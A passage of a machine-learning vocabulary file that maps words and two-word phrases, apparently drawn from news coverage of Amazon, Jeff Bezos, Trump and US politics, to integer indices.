209186, "criticism saying": 209187, "ex north": 209188, "reform immigration": 209189, "mail noted": 209190, "schutte": 209191, "guardian julia": 209192, "million businesses": 209193, "putin days": 209194, "appointed head": 209195, "weixin": 209196, "read formal": 209197, "absolute": 209198, "middle income": 209199, "report tonight": 209200, "green cars": 209201, "s0": 209202, "favourite behemoth": 209203, "important confidentiality": 209204, "great year": 209205, "big mistake": 209206, "tremendous odds": 209207, "siddiqui makes": 209208, "facebook wants": 209209, "thread": 209210, "mlc": 209211, "anonymous founder": 209212, "depot hd": 209213, "impact high": 209214, "mainly democrats": 209215, "logistics technology": 209216, "payday people": 209217, "specifically limiting": 209218, "arrest": 209219, "amazon conducts": 209220, "rate boxes": 209221, "demand spokeswoman": 209222, "growing just": 209223, "boarder perspective": 209224, "rent wrote": 209225, "accurate portrayal": 209226, "naz": 209227, "recent past": 209228, "including racy": 209229, "fired fbi": 209230, "obviously stole": 209231, "sliced bread": 209232, "job amazon": 209233, "primary debates": 209234, "trump republicans": 209235, "trump meet": 209236, "currently held": 209237, "dawsey adding": 209238, "strategies baked": 209239, "benefits according": 209240, "spend 100": 209241, "bremberg cohn": 209242, "strength morgan": 209243, "20amer": 209244, "read local": 209245, "increasingly clear": 209246, "fetching": 209247, "fineman noted": 209248, "women living": 209249, "states intervening": 209250, "british claims": 209251, "inevitably lead": 209252, "meg": 209253, "seattle housing": 209254, "happy graveyard": 209255, "swalwell": 209256, "stores google": 209257, "latest indication": 209258, "tabloid recent": 209259, "behavior defined": 209260, "sparking speculation": 209261, "\u014228 2billion": 209262, "merely pass": 209263, "economy parasites": 209264, "times print": 209265, "significant question": 209266, "newswire publishersnewswire": 209267, "jay inslee": 209268, "putting forward": 209269, "interrogated": 209270, "gudiel homecare": 209271, "legal parlance": 209272, "tyrannical": 209273, "platt share": 209274, "wasn outrage": 209275, "instant best": 209276, "631": 209277, "suffers": 209278, "hearing severe": 209279, "report 2019": 209280, "norms": 209281, "enacted regulations": 209282, "establish": 209283, "starvation wages": 209284, "howard told": 209285, "anticompetitive activity": 209286, "providing faster": 209287, "blanket disqualification": 209288, "featuring": 209289, "night alessandra": 209290, "higher rathner": 209291, "average people": 209292, "tapeworms": 209293, "adolescence": 209294, "circuit courts": 209295, "acclaimed novelist": 209296, "normally tightly": 209297, "justice including": 209298, "needs changing": 209299, "6400 asknewswires": 209300, "rocked facebook": 209301, "michigan federal": 209302, "fc news": 209303, "speck": 209304, "combines canadian": 209305, "370 locations": 209306, "stock iwas": 209307, "amazon claiming": 209308, "genre movies": 209309, "coverage 100": 209310, "wine brands": 209311, "companies looked": 209312, "icann review": 209313, "remaining stable": 209314, "tell senator": 209315, "luxembourg": 209316, "toddler": 209317, "talent recently": 209318, "companies spiraling": 209319, "nations nikki": 209320, "remarks trivialize": 209321, "weeks lindsey": 209322, "adjudicated": 209323, "wnf": 209324, "escalating trump": 209325, "violence extremist": 209326, "usps yesterday": 209327, "article yesterday": 209328, "accepts responsibility": 209329, "guidance amazon": 209330, "failing politicians": 209331, "shootings robberies": 209332, "amzn analysts": 209333, "billion loan": 209334, "year certainly": 209335, "stephen mnuchin": 209336, "despite apple": 209337, "14th herera": 209338, "response saying": 209339, "business initiative": 209340, "bolton": 209341, "denies role": 209342, "funeral services": 209343, "attractive offer": 209344, "commentator congressman": 209345, "clearly knowing": 209346, "lagos nganang": 209347, "americans wrongly": 209348, "brownstein": 209349, "3806 extra": 209350, "subscribers thirst": 209351, "bigger microsoft": 209352, "robo votes": 209353, "daimler lowered": 209354, "president immunology": 209355, "prosecutors assured": 209356, "operation extra": 209357, "violations related": 209358, "2018 new": 209359, "teaching": 209360, "sanchez helicopter": 209361, "super woke": 209362, "worst blunders": 209363, "joined pentagon": 209364, "developed friendly": 209365, "outsider fans": 209366, "kron4": 209367, "myriad scandals": 209368, "nominee followed": 209369, "aiding amazon": 209370, "sensitive person": 209371, "john mckinnon": 209372, "bezos eats": 209373, "disruption leary": 209374, "space enthusiast": 209375, "france ireland": 209376, "supportive": 209377, "series man": 209378, "hate symbols": 209379, "rekognition tech": 209380, "funding government": 209381, "deals": 209382, "forcing long": 209383, "market crash": 209384, "medical ceo": 209385, "russia interference": 209386, "world 8217": 209387, "reacted": 209388, "motors harley": 209389, "netflix transcends": 209390, "media influence": 209391, "putin encounter": 209392, "packets": 209393, "counting cat": 209394, "empire investors": 209395, "1922": 209396, "caught cheating": 209397, "force notes": 209398, "crime book": 209399, "bullish way": 209400, "foreign investments": 209401, "khan authored": 209402, "overcame": 209403, "rose mansion": 209404, "boost triple": 209405, "slighting": 209406, "deliveries paying": 209407, "clearer picture": 209408, "nation governments": 209409, "tirement plan": 209410, "pre empt": 209411, "swir": 209412, "slashing": 209413, "wenig": 209414, "cvs health": 209415, "alert nasdaq": 209416, "devote large": 209417, "statement small": 209418, "enter fourth": 209419, "moving northward": 209420, "guy threw": 209421, "district court": 209422, "giant leaving": 209423, "watched drake": 209424, "driving markets": 209425, "ccn alexandria": 209426, "amazon pushed": 209427, "quite poor": 209428, "crowd favorite": 209429, "articles announcing": 209430, "whets": 209431, "says hiring": 209432, "qualtrics": 209433, "oversee preparations": 209434, "striving": 209435, "status 1062349739600044033": 209436, "border fencing": 209437, "opposing ocasio": 209438, "house legislation": 209439, "headquarters trump": 209440, "fell sharply": 209441, "million divorce": 209442, "corporate footprint": 209443, "shocking": 209444, "happening plummet": 209445, "embarrass ment": 209446, "genuity tony": 209447, "tenants": 209448, "undermine america": 209449, "cross party": 209450, "sinclair counter": 209451, "team los": 209452, "picking winners": 209453, "break antitrust": 209454, "involved political": 209455, "win business": 209456, "tech activity": 209457, "wyoming military": 209458, "jackie scott": 209459, "scarborough continued": 209460, "stance says": 209461, "war waged": 209462, "garamendi": 209463, "amazon foreignintelligencesurveillanceact": 209464, "troubles minutes": 209465, "love heartsick": 209466, "tariffs won": 209467, "treasonous establishment": 209468, "shares victory": 209469, "board ft": 209470, "mass data": 209471, "landholders": 209472, "history sanders": 209473, "cristinaalesci guest": 209474, "actively devoted": 209475, "great life": 209476, "mobbed happy": 209477, "philadelphia gas": 209478, "oil rig": 209479, "overt personification": 209480, "public scourge": 209481, "black mirror": 209482, "chronicles tech": 209483, "figure welcomes": 209484, "caravan organizers": 209485, "condemned bezos": 209486, "app\u00e9tit mad": 209487, "rag": 209488, "amazon pregnancy": 209489, "woolsey": 209490, "lets drivers": 209491, "warship reportedly": 209492, "reckless undercutting": 209493, "news fun": 209494, "department list": 209495, "agency facilities": 209496, "kavanaugh recent": 209497, "plot bears": 209498, "entire list": 209499, "warren told": 209500, "ardern": 209501, "index sinks": 209502, "opposite": 209503, "great tax": 209504, "midcareer foray": 209505, "looking specifically": 209506, "reportedly killed": 209507, "america leading": 209508, "consumers differently": 209509, "dod swamp": 209510, "jedi project": 209511, "electronics aapl": 209512, "minimis exception": 209513, "gossip magazine": 209514, "supporting donald": 209515, "upcoming entry": 209516, "fallows": 209517, "occupant letitia": 209518, "smaller faster": 209519, "ice death": 209520, "hardaway": 209521, "gigantic amazon": 209522, "budget standoff": 209523, "trump red": 209524, "2020 ms": 209525, "seth kaper": 209526, "dick pic": 209527, "lies lot": 209528, "interesting read": 209529, "truck plummeted": 209530, "enquirer newspaper": 209531, "unit read": 209532, "reportedly insulted": 209533, "share contract": 209534, "jeb": 209535, "dwelling": 209536, "park officials": 209537, "leaves winfield": 209538, "haul": 209539, "service mchugh": 209540, "appeared obsessed": 209541, "fukuoka bustling": 209542, "simply billion": 209543, "technology select": 209544, "becker lawyers": 209545, "handbook": 209546, "compared amazon": 209547, "news debunked": 209548, "unprofitable": 209549, "world dave": 209550, "amendment freedom": 209551, "global backlash": 209552, "fact helping": 209553, "points fueled": 209554, "current regime": 209555, "court announcement": 209556, "steve hoffman": 209557, "caste debate": 209558, "16th": 209559, "ami publication": 209560, "official convicted": 209561, "apprentice manigualt": 209562, "nadler chair": 209563, "family content": 209564, "demonstrate support": 209565, "industry way": 209566, "men wear": 209567, "briefs tesla": 209568, "sellers decide": 209569, "urban legend": 209570, "fighting assad": 209571, "philippe reines": 209572, "negotiated long": 209573, "asterisk": 209574, "cooper reignites": 209575, "street meltdowns": 209576, "strong relationship": 209577, "founder owns": 209578, "purchase amazon": 209579, "press david": 209580, "amazon boot": 209581, "designating amazon": 209582, "lockheed pic": 209583, "rates closely": 209584, "manager residents": 209585, "floridian": 209586, "regarding career": 209587, "department results": 209588, "actually reported": 209589, "profit shippers": 209590, "vetted": 209591, "things thatare": 209592, "copies scott": 209593, "don realize": 209594, "customers won": 209595, "delivery streaming": 209596, "new things": 209597, "apple certainly": 209598, "term market": 209599, "burn watch": 209600, "khashoggi connection": 209601, "communications": 209602, "harry exits": 209603, "whatsapp container": 209604, "documents posted": 209605, "mike gianaris": 209606, "documentary oscars": 209607, "explosive interview": 209608, "watchdog": 209609, "1992 ruling": 209610, "regulatory risk": 209611, "2019 estimates": 209612, "estimated fortune": 209613, "kind company": 209614, "references tweet": 209615, "950 billion": 209616, "edges": 209617, "contemporary adaptation": 209618, "rebut says": 209619, "ridiculous sketch": 209620, "republican voters": 209621, "mentioned loudly": 209622, "pompeo america": 209623, "held meetings": 209624, "mistreats": 209625, "day created": 209626, "country amazon": 209627, "589 shares": 209628, "bjp president": 209629, "ranging report": 209630, "half getting": 209631, "jobs market": 209632, "dunham": 209633, "vp mike": 209634, "enquirer cover": 209635, "horizon oil": 209636, "puppet": 209637, "w5q x5q16": 209638, "bring issues": 209639, "securities lowered": 209640, "good release": 209641, "brewers expand": 209642, "sue patterson": 209643, "suffolk": 209644, "chief newhouse": 209645, "office thanks": 209646, "amazon data": 209647, "hldg plc": 209648, "wife pockets": 209649, "strongly suggest": 209650, "risque": 209651, "collette little": 209652, "record sandra": 209653, "bidders including": 209654, "upgrades ceo": 209655, "mao zedong": 209656, "necessarily helps": 209657, "representative senate": 209658, "considering initial": 209659, "thankful": 209660, "state workers": 209661, "comparable sales": 209662, "rosario crushing": 209663, "faster increases": 209664, "author president": 209665, "attorney number": 209666, "red tape": 209667, "mitch": 209668, "isfirstvideoincollection containerid": 209669, "6am mix": 209670, "promote fair": 209671, "b5q": 209672, "disparities": 209673, "space craft": 209674, "automation": 209675, "involve goods": 209676, "person screamed": 209677, "democratic senior": 209678, "genuine": 209679, "elena picture": 209680, "hovenkamp": 209681, "union service": 209682, "immigration agency": 209683, "agency impact": 209684, "surprise despite": 209685, "teresa kersten": 209686, "2018 deadline": 209687, "unplanned": 209688, "local matters": 209689, "marketplace pulse": 209690, "burger chain": 209691, "slang creole": 209692, "fy17 annual": 209693, "case studies": 209694, "cove hack": 209695, "press occasion": 209696, "did infiltrate": 209697, "imminent demise": 209698, "etiquette alex": 209699, "100 post": 209700, "568": 209701, "share estimates": 209702, "radically change": 209703, "democrats took": 209704, "internet sites": 209705, "russo toni": 209706, "magazine follow": 209707, "shared online": 209708, "immediately followed": 209709, "tentative brexit": 209710, "dnc chair": 209711, "says prisoner": 209712, "scandals surrounded": 209713, "empower hundreds": 209714, "envelopes piled": 209715, "advance": 209716, "tsvetana paraskova": 209717, "clinton does": 209718, "bring frankly": 209719, "marko georgiev": 209720, "scrawny": 209721, "trump implements": 209722, "amazon warehouses": 209723, "pictures pictures": 209724, "david robert": 209725, "associates implies": 209726, "tricks": 209727, "pregnant nursing": 209728, "border attacks": 209729, "incongruous": 209730, "jim urquhart": 209731, "fedex executive": 209732, "mcallen texas": 209733, "owners time": 209734, "provider google": 209735, "investment fund": 209736, "liked": 209737, "amazon president": 209738, "warner amazon": 209739, "market opportunities": 209740, "wife lara": 209741, "breakout 2016": 209742, "ice report": 209743, "greer makes": 209744, "particular flavor": 209745, "seattle debate": 209746, "protester": 209747, "sign budget": 209748, "n8": 209749, "peaking": 209750, "temporary burger": 209751, "previously discussed": 209752, "state legislatures": 209753, "sports networks": 209754, "arden": 209755, "city comptroller": 209756, "integrity": 209757, "bret bret": 209758, "pretty volatile": 209759, "immigration ruling": 209760, "workers date": 209761, "yes morgan": 209762, "mad sweeney": 209763, "steel industry": 209764, "set refugee": 209765, "hager barbara": 209766, "advice comey": 209767, "post say": 209768, "strategist steve": 209769, "eu investigation": 209770, "following year": 209771, "reporter lauren": 209772, "access clinic": 209773, "multibillionaire wannabe": 209774, "irish poet": 209775, "icann tried": 209776, "job responsibilities": 209777, "chase ends": 209778, "agency records": 209779, "debate don": 209780, "valuations": 209781, "scouts": 209782, "certain carrier": 209783, "trump escape": 209784, "3_5": 209785, "630 000": 209786, "tv added": 209787, "itunes store": 209788, "trusted institution": 209789, "maycay beeler": 209790, "reusable rocket": 209791, "imessage according": 209792, "domain": 209793, "consulting indicates": 209794, "rosa neared": 209795, "sharaab": 209796, "informed choices": 209797, "cortez villain": 209798, "quarter data": 209799, "york photo": 209800, "sure doesn": 209801, "senator john": 209802, "taunts attacking": 209803, "place build": 209804, "hirsute": 209805, "company economic": 209806, "outfitted": 209807, "lone bright": 209808, "support services": 209809, "old nightclub": 209810, "resurrector murder": 209811, "beat normally": 209812, "maximum": 209813, "noah son": 209814, "2018 spicer": 209815, "talev wilbur": 209816, "magazine food": 209817, "center kids": 209818, "kilmeade replied": 209819, "van het": 209820, "amazon campaign": 209821, "different devices": 209822, "suggests": 209823, "weather": 209824, "subway 500": 209825, "ant\u00f4nio": 209826, "little stunned": 209827, "selling hydrocarbons": 209828, "london blaze": 209829, "individual taxpayer": 209830, "voice devices": 209831, "fatales": 209832, "hearing patchett": 209833, "large quantity": 209834, "plus voice": 209835, "locate half": 209836, "courts tmz": 209837, "discussion nic": 209838, "pile": 209839, "using series": 209840, "patr": 209841, "followup tweet": 209842, "bad practices": 209843, "bazillion times": 209844, "terms clout": 209845, "hasbro": 209846, "congress rep": 209847, "portrait printed": 209848, "heartily": 209849, "budding marijuana": 209850, "reuters reported": 209851, "gig uber": 209852, "onion domes": 209853, "disclaimers": 209854, "sears newegg": 209855, "broader number": 209856, "product recommendations": 209857, "vinny minchillo": 209858, "carell shouted": 209859, "governance affecting": 209860, "billion 350": 209861, "steve leder": 209862, "individuals receiving": 209863, "andrew lichtenstein": 209864, "ruling": 209865, "real networking": 209866, "seeking better": 209867, "carrey": 209868, "custer dominic": 209869, "bands": 209870, "illegal mind": 209871, "nike campaign": 209872, "seventh round": 209873, "critics remain": 209874, "communication new": 209875, "editorials": 209876, "temporary staffing": 209877, "says dems": 209878, "dollar margins": 209879, "given public": 209880, "suffer abuses": 209881, "things need": 209882, "brit": 209883, "park jurassic": 209884, "quo amazon": 209885, "perceived racism": 209886, "ago donald": 209887, "zip code": 209888, "2018 campaign": 209889, "youtube pinterest": 209890, "auction following": 209891, "founders refused": 209892, "michael farr": 209893, "nonetheless individuals": 209894, "attorney boaz": 209895, "thanking": 209896, "profits netflix": 209897, "humanity plunging": 209898, "bezoses divorce": 209899, "electronic gadgetry": 209900, "253 followers": 209901, "apprentice contestant": 209902, "determination": 209903, "scale programs": 209904, "severance": 209905, "paper executives": 209906, "senate rewrite": 209907, "national political": 209908, "confirm reports": 209909, "green published": 209910, "paperwork requirements": 209911, "jobs delivers": 209912, "street tried": 209913, "policy counsel": 209914, "moment woman": 209915, "distributed transmitted": 209916, "rally today": 209917, "state attorneys": 209918, "fraudulent competition": 209919, "smb impact": 209920, "counterfeiting policy": 209921, "kavanaugh nomination": 209922, "us400": 209923, "uqtam5jevw tpm": 209924, "really rapidly": 209925, "tackle amazon": 209926, "currently masquerading": 209927, "lula": 209928, "violence abuse": 209929, "add jobs": 209930, "canadians": 209931, "senator patty": 209932, "reality slowly": 209933, "proves grand": 209934, "elder fraud": 209935, "148 points": 209936, "possibilities": 209937, "compromise financial": 209938, "employees better": 209939, "called trump": 209940, "echo wants": 209941, "funny women": 209942, "tightrope": 209943, "make sense": 209944, "event children": 209945, "famous security": 209946, "popular merchandise": 209947, "potential harms": 209948, "doesn quite": 209949, "completed software": 209950, "composite inched": 209951, "holding files": 209952, "nonfiction best": 209953, "harassment schools": 209954, "president abby": 209955, "powerfully demonstrates": 209956, "wholesalers post": 209957, "economics doesn": 209958, "indelible composite": 209959, "lungs": 209960, "263": 209961, "arson qanon": 209962, "billion newark": 209963, "moss": 209964, "elections ami": 209965, "long hearings": 209966, "drag white": 209967, "justice democrats": 209968, "hanin abdullah": 209969, "advertising commitments": 209970, "22774588 srcset": 209971, "nyse cah": 209972, "want congress": 209973, "industry especially": 209974, "science 2018": 209975, "taser": 209976, "derived": 209977, "algorithmic boost": 209978, "interactive actvities": 209979, "aroundcongress": 209980, "cod girl": 209981, "minn": 209982, "certainly produce": 209983, "mastercard logo": 209984, "doug mcmillon": 209985, "uk police": 209986, "shepherd falling": 209987, "shift occurred": 209988, "significant chunk": 209989, "akufo addo": 209990, "sexting sanchez": 209991, "chinese tech": 209992, "republicans rebuke": 209993, "schedule released": 209994, "iron discipline": 209995, "dueling": 209996, "harvested personal": 209997, "napolitano disdain": 209998, "moss hey": 209999, "unread prev": 210000, "jihadists": 210001, "matter": 210002, "armitage alongside": 210003, "2012 entertainment": 210004, "echo wall": 210005, "suggests willingness": 210006, "amazon 01pm": 210007, "receiving snap": 210008, "inappropriate pen": 210009, "general jorge": 210010, "index": 210011, "giving buddy": 210012, "personalizing": 210013, "unfairness": 210014, "comment regarding": 210015, "commerce commission": 210016, "star luxury": 210017, "massively complicate": 210018, "growing opposition": 210019, "bonuses": 210020, "glory connecticut": 210021, "pervades": 210022, "modes": 210023, "rightist": 210024, "investors chance": 210025, "advertising platform": 210026, "atom pd": 210027, "brown speaks": 210028, "avoid negatively": 210029, "having paid": 210030, "memorial mayor": 210031, "member donations": 210032, "fbi officials": 210033, "seat sent": 210034, "following chart": 210035, "ignite rally": 210036, "mike yarish": 210037, "satirical essay": 210038, "renting": 210039, "episodes": 210040, "helps readers": 210041, "instituto socioambiental": 210042, "southwest border": 210043, "step routine": 210044, "extremely challenging": 210045, "deliberate thank": 210046, "krzanich resigned": 210047, "workers reportedly": 210048, "academy": 210049, "certain packages": 210050, "joe broke": 210051, "gr\u00e9goire chamayou": 210052, "teams dedicated": 210053, "heart intuition": 210054, "nice feeling": 210055, "headlines funny": 210056, "passionate": 210057, "tremble": 210058, "numerous parallels": 210059, "nahata": 210060, "paramount": 210061, "months deloitte": 210062, "business paper": 210063, "pent": 210064, "services proposed": 210065, "huebner kyle": 210066, "adjoining": 210067, "unrestricted bolsonaro": 210068, "fading manufacturing": 210069, "believe accelerating": 210070, "contract law": 210071, "beneath hearth": 210072, "impulse": 210073, "offer hearing": 210074, "block mean": 210075, "nearby meeting": 210076, "juggernaut occupied": 210077, "rachel brand": 210078, "begins streaming": 210079, "vt led": 210080, "towleroad": 210081, "wook": 210082, "policy terms": 210083, "given strong": 210084, "easley photographs": 210085, "adidas": 210086, "drifting apart": 210087, "super liberal": 210088, "exclusive deals": 210089, "violent agreement": 210090, "corporation nasdaq": 210091, "alarms": 210092, "jeopardized close": 210093, "service organizations": 210094, "choices losing": 210095, "internet corporation": 210096, "advisor jim": 210097, "story preempted": 210098, "ian600f": 210099, "solid beats": 210100, "approving trans": 210101, "democratic leader": 210102, "owned car": 210103, "guise": 210104, "stock opened": 210105, "company founders": 210106, "china machine": 210107, "body shaming": 210108, "rate newsom": 210109, "topics ranging": 210110, "candidate presidential": 210111, "kevin dolliole": 210112, "particular charities": 210113, "noted reports": 210114, "cpac": 210115, "working american": 210116, "practices antitrust": 210117, "loyal lieutenant": 210118, "retired state": 210119, "asserted cringely": 210120, "ebony slaughter": 210121, "tweeted collusion": 210122, "bots bloomberg": 210123, "services 2019": 210124, "2017 jack": 210125, "insider sale": 210126, "profiteers": 210127, "threatening retribution": 210128, "long steel": 210129, "kickstand": 210130, "slaves": 210131, "estate educators": 210132, "kick started": 210133, "services signed": 210134, "complex": 210135, "extensive network": 210136, "older ones": 210137, "larmand leelarmand": 210138, "construction slows": 210139, "messi": 210140, "fit bezos": 210141, "persuade trump": 210142, "idiots": 210143, "add bit": 210144, "sgf": 210145, "cia disinformation": 210146, "data work": 210147, "temple stood": 210148, "tensions quite": 210149, "second fiddle": 210150, "detailed study": 210151, "artisans": 210152, "2019 elections": 210153, "leapt": 210154, "new populist": 210155, "global smartphone": 210156, "brett": 210157, "deasy": 210158, "shipping products": 210159, "juggernaut worrying": 210160, "ranged": 210161, "based startup": 210162, "despite coming": 210163, "america appealed": 210164, "terrific piece": 210165, "hearing van": 210166, "ideas withheld": 210167, "comments minutes": 210168, "infowars blasts": 210169, "governance institute": 210170, "drivers sourced": 210171, "rubber hits": 210172, "journalism sign": 210173, "called led": 210174, "2018 homebody": 210175, "legally needs": 210176, "turbo": 210177, "ceo brendan": 210178, "amazon snuffs": 210179, "education sent": 210180, "rebel": 210181, "imminent dangers": 210182, "laughs moser": 210183, "2018 marc": 210184, "pivot": 210185, "called nepal": 210186, "include comprehensive": 210187, "bird box": 210188, "bar paying": 210189, "immediate response": 210190, "inaccurate added": 210191, "card delinquencies": 210192, "shows brother": 210193, "gag": 210194, "new cabinet": 210195, "ringwald": 210196, "job promises": 210197, "potential 2020": 210198, "oprah popularity": 210199, "bezos pushback": 210200, "constitute illegal": 210201, "supersized": 210202, "dinner": 210203, "mix ivanka": 210204, "organizations free": 210205, "missoula": 210206, "106 hawks": 210207, "administration calls": 210208, "traditional parcel": 210209, "interview california": 210210, "amazon sorting": 210211, "adopted policy": 210212, "post reports": 210213, "fueled growth": 210214, "puts shockingly": 210215, "water bottle": 210216, "law unfortunately": 210217, "critical pieces": 210218, "amzn nyse": 210219, "emgx6xpzva": 210220, "illiterate new": 210221, "approving new": 210222, "opinionated political": 210223, "satanist finding": 210224, "fraught climate": 210225, "mac app": 210226, "susan molinari": 210227, "freeman james": 210228, "ideological balance": 210229, "allegations pecker": 210230, "rep matt": 210231, "motorists": 210232, "deferring": 210233, "atlantic elaina": 210234, "neapolitan": 210235, "versus existing": 210236, "read want": 210237, "nearly nominated": 210238, "amazon leave": 210239, "accounts recently": 210240, "cheapskates amazon": 210241, "read beloved": 210242, "ill michael": 210243, "s0 l2": 210244, "merchants sales": 210245, "adviser limited": 210246, "new shows": 210247, "judy greer": 210248, "manish gupta": 210249, "friend shot": 210250, "moscow": 210251, "open 000": 210252, "meant according": 210253, "mortgages": 210254, "opponents": 210255, "crispr rob": 210256, "unnamed minister": 210257, "people ignored": 210258, "iphone preorders": 210259, "bezos person": 210260, "undoubtedly": 210261, "reality democrats": 210262, "gossip section": 210263, "finally limited": 210264, "striped streetcars": 210265, "shooting gun": 210266, "terrible": 210267, "ted cigars": 210268, "repeal auto": 210269, "desperate": 210270, "potential changes": 210271, "d4 var": 210272, "work stoppage": 210273, "tetraphase pharmaceuticals": 210274, "spurred grass": 210275, "york expansion": 210276, "physical goods": 210277, "anecdote": 210278, "begun discussing": 210279, "prime abhish": 210280, "major technological": 210281, "cubs kill": 210282, "exploring truly": 210283, "comment congressional": 210284, "amazon powerful": 210285, "briefing politics": 210286, "china chukumba": 210287, "accusations money": 210288, "foia defenses": 210289, "federal funding": 210290, "tully mcmanus": 210291, "rugoff": 210292, "washes ashore": 210293, "hopefully": 210294, "slalom battle": 210295, "virginia according": 210296, "hear kids": 210297, "office workers": 210298, "business expansion": 210299, "allows immigration": 210300, "historically": 210301, "financial reporting": 210302, "hang": 210303, "certainly wrongly": 210304, "timeframe bezos": 210305, "cortez despite": 210306, "traditional logistics": 210307, "autism": 210308, "oil names": 210309, "automakers group": 210310, "terribly": 210311, "pichai appears": 210312, "palinchak": 210313, "wide assortment": 210314, "cindy sherman": 210315, "96th": 210316, "hire 100": 210317, "jailing bankers": 210318, "government decision": 210319, "effectively encourage": 210320, "mile agreements": 210321, "starts possessed": 210322, "strong holiday": 210323, "background amazon": 210324, "heartland institute": 210325, "nyclu claims": 210326, "aclu florida": 210327, "amazon pachter": 210328, "oregon food": 210329, "document": 210330, "openly transgender": 210331, "icahn published": 210332, "pod": 210333, "kumar knows": 210334, "activity internally": 210335, "access hollywood": 210336, "shipping offerings": 210337, "onboarding": 210338, "ratio indicates": 210339, "amazon pick": 210340, "ncyha": 210341, "publishing articles": 210342, "rhetorically added": 210343, "unnamed people": 210344, "matches work": 210345, "plus prince": 210346, "remain partners": 210347, "teams leave": 210348, "austerity": 210349, "angeles capellades": 210350, "famously obtained": 210351, "discuss walmart": 210352, "moves key": 210353, "pocketed": 210354, "president gerald": 210355, "competitors combined": 210356, "unfathomable": 210357, "plagiarism spokesperson": 210358, "historical campaigns": 210359, "protest impeach": 210360, "recent lobbying": 210361, "2b immigration": 210362, "cig": 210363, "year ago": 210364, "eu prime": 210365, "passed": 210366, "reliance group": 210367, "service dominated": 210368, "108 106": 210369, "follows elliot": 210370, "higher transport": 210371, "kazakoff deputy": 210372, "patagonia just": 210373, "inspiration europe": 210374, "170 million": 210375, "delinquencies solomon": 210376, "irma": 210377, "officials media": 210378, "service officials": 210379, "just wow": 210380, "kyl goofily": 210381, "karem yucel": 210382, "sold": 210383, "heaviness": 210384, "live paycheck": 210385, "movie based": 210386, "amazon consumer": 210387, "cheap unfortunately": 210388, "time nbc": 210389, "000 sanchez": 210390, "night manager": 210391, "critical acclaim": 210392, "guggenheim real": 210393, "kearns": 210394, "letter carriers": 210395, "needy parent": 210396, "commerce battle": 210397, "eliminating people": 210398, "capacity noted": 210399, "gruesome": 210400, "contrarian buy": 210401, "powell agrees": 210402, "lead today": 210403, "posed": 210404, "acid heat": 210405, "deeply divided": 210406, "2020 matt": 210407, "advertising budget": 210408, "told staff": 210409, "based gmb": 210410, "stars josh": 210411, "parliament approved": 210412, "tigon judge": 210413, "jpmorgan sees": 210414, "company fortunes": 210415, "attractive terms": 210416, "authenticators": 210417, "new nov": 210418, "powerful impact": 210419, "secretary patrick": 210420, "slowed hiring": 210421, "recession wrote": 210422, "summit earlier": 210423, "sounded felt": 210424, "point leveraged": 210425, "duchess choosing": 210426, "bezos prominent": 210427, "memorial list": 210428, "content portfolio": 210429, "young american": 210430, "continue rising": 210431, "trumpstore listed": 210432, "fly": 210433, "years know": 210434, "horror recently": 210435, "cheaper prices": 210436, "c9x b3x": 210437, "myrtle beach": 210438, "bezos newspaper": 210439, "cart delivery": 210440, "mailings": 210441, "occasionally takes": 210442, "threatened general": 210443, "personal vitriol": 210444, "seventh straight": 210445, "trump attacks": 210446, "version amazon": 210447, "idriss": 210448, "incredible rate": 210449, "supposedly low": 210450, "graduates": 210451, "sutton": 210452, "vertigo": 210453, "quick scroll": 210454, "wire": 210455, "markets institute": 210456, "news dennis": 210457, "real share": 210458, "government ahead": 210459, "feeling bit": 210460, "wants investors": 210461, "service usds": 210462, "omb": 210463, "examining contributions": 210464, "trump karen": 210465, "checks given": 210466, "depicting trump": 210467, "prime subscriber": 210468, "increasingly partisan": 210469, "rival mozambique": 210470, "political battles": 210471, "decision just": 210472, "falsely asserting": 210473, "make new": 210474, "birding expeditions": 210475, "microwave": 210476, "6cxafkpmqg": 210477, "app store": 210478, "second recipes": 210479, "negatives amazon": 210480, "155 shares": 210481, "expected incoming": 210482, "ma provides": 210483, "balance online": 210484, "taxes despite": 210485, "economic hardship": 210486, "quite surprised": 210487, "tax monies": 210488, "previous allegations": 210489, "underlying trends": 210490, "tweets attacking": 210491, "marketing firm": 210492, "pressured postmaster": 210493, "unhealthy": 210494, "make right": 210495, "airbus expects": 210496, "brega": 210497, "categorically": 210498, "phrase denotes": 210499, "excerpt published": 210500, "hike rates": 210501, "pry": 210502, "wrong approach": 210503, "bramer signed": 210504, "populism": 210505, "refunds amazon": 210506, "previous model": 210507, "profile celebrity": 210508, "ruralist agribusiness": 210509, "live colin": 210510, "infiltrate": 210511, "bothered anymore": 210512, "deb riechmann": 210513, "media site": 210514, "ingles unidentified": 210515, "new referendums": 210516, "general despite": 210517, "arizona bret": 210518, "trump gives": 210519, "cassettes": 210520, "technique analysts": 210521, "brox": 210522, "literature price": 210523, "dominating force": 210524, "adding rates": 210525, "enrolling": 210526, "promote live": 210527, "japan amazon": 210528, "story dont": 210529, "law doesn": 210530, "publicly naming": 210531, "generations think": 210532, "abundant opportunities": 210533, "official anthony": 210534, "congressional pressure": 210535, "total cost": 210536, "temples": 210537, "new antitrust": 210538, "draft rules": 210539, "tightly": 210540, "idea": 210541, "course wayfair": 210542, "russell elizabeth": 210543, "getting trump": 210544, "tap military": 210545, "incredibly offensive": 210546, "physical retailers": 210547, "ferry routes": 210548, "hash": 210549, "wisely": 210550, "current plans": 210551, "facebook nasdaq": 210552, "face huge": 210553, "national advocacy": 210554, "liberalism": 210555, "broken heart": 210556, "months months": 210557, "arbitrary reasons": 210558, "moon tourist": 210559, "favorite hats": 210560, "service ordered": 210561, "amazon zacks": 210562, "associates 135": 210563, "dod provided": 210564, "separations": 210565, "horn": 210566, "l0": 210567, "continued scarborough": 210568, "localstorage": 210569, "sprang trump": 210570, "road new": 210571, "certifications petition": 210572, "day trading": 210573, "privately frustrated": 210574, "risk having": 210575, "space oddity": 210576, "year vaccine": 210577, "js pg": 210578, "sales pitch": 210579, "businesses daily": 210580, "beast reported": 210581, "final installment": 210582, "prosecution ami": 210583, "person sanders": 210584, "optimal": 210585, "croix": 210586, "news cycle": 210587, "717": 210588, "closest associates": 210589, "attack disrupts": 210590, "advisory rech": 210591, "media think": 210592, "better results": 210593, "trump dirt": 210594, "retailers people": 210595, "tumble going": 210596, "practices low": 210597, "destabilizing": 210598, "heartbreak actually": 210599, "rugged": 210600, "big concern": 210601, "pelecanos mulholland": 210602, "gerrymandered congressional": 210603, "terrorizes wallachia": 210604, "strong greer": 210605, "really makes": 210606, "committee onborder": 210607, "979 475": 210608, "taxes bezos": 210609, "examined usps": 210610, "tech impression": 210611, "calculates aldi": 210612, "buzzsaw": 210613, "thomas 